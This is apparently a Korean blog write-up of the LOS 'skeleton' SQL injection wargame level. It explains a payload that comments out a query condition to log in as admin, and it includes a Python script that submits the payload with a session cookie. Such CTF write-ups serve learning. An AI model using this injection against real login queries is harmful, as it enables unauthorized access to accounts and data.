문제
문제 분석
pw에 "prob" , "_" , "."를 피해 id에 값이 admin으로 들어있으면 문제가 풀린다.
이때 논리적으로 id=admin인 조건만 들어가게 하는게 핵심이다.
문제 풀이
pw에 '(싱글쿼터)를 넣어주어 아무값도 없게 만들고 or를 입력해서 뒤에 쿼리를 id='admin' 으로 조작한뒤 뒤의 조건은 주석으로 처리되게 만든다.
where id='guest' and pw='' or id='admin' # and 1=0
=> or로 주황색 조건을 전부 false로 만들어 뒤에 id가 admin인 조건만을 남겨두고 뒤의 and는 주석으로 처리한다.
문제 정답
URL?pw=' or id='admin' #
url을 조작할시 #은 %23으로 입력해줘야한다.
문제 풀이 코드
import requests
url = 'https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'} #로그인 쿠키
data={}
data['pw']="'or id='admin'#"
res = requests.get(url, params=data, cookies=session)
print(res.url)
if "Clear!" in res.text:
print("\nClear!")
else:
print("try again!")
'LOS-write up' 카테고리의 다른 글
LOS 12(darkknight) (0) | 2021.01.03 |
---|---|
LOS 11(golem) (0) | 2021.01.03 |
LOS 9(vampire) (0) | 2021.01.03 |
LOS 8(troll) (0) | 2021.01.03 |
LOS 7(orge) (0) | 2021.01.03 |